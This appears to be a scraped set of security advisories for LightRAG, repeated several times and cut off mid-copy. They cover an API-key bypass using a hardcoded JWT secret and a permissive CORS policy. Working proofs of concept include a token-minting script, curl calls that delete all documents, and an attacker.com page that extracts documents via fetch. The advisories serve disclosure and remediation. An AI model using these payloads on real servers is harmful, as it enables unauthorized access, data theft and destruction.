lightrag-hku

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

• LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
• AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

• Read and delete arbitrary documents (/documents, DELETE /documents)
• Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
• Clear LLM / embedding caches (/documents/clear_cache)
• Inspect and mutate the knowledge graph (/graph/*)
• Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
2. Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
3. Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

• LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
• AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

• Read and delete arbitrary documents (/documents, DELETE /documents)
• Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
• Clear LLM / embedding caches (/documents/clear_cache)
• Inspect and mutate the knowledge graph (/graph/*)
• Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
2. Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
3. Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

• LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
• AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

• Read and delete arbitrary documents (/documents, DELETE /documents)
• Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
• Clear LLM / embedding caches (/documents/clear_cache)
• Inspect and mutate the knowledge graph (/graph/*)
• Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
2. Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
3. Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

• LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
• AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

• Read and delete arbitrary documents (/documents, DELETE /documents)
• Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
• Clear LLM / embedding caches (/documents/clear_cache)
• Inspect and mutate the knowledge graph (/graph/*)
• Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
2. Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
3. Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

• LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
• AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

• Read and delete arbitrary documents (/documents, DELETE /documents)
• Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
• Clear LLM / embedding caches (/documents/clear_cache)
• Inspect and mutate the knowledge graph (/graph/*)
• Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

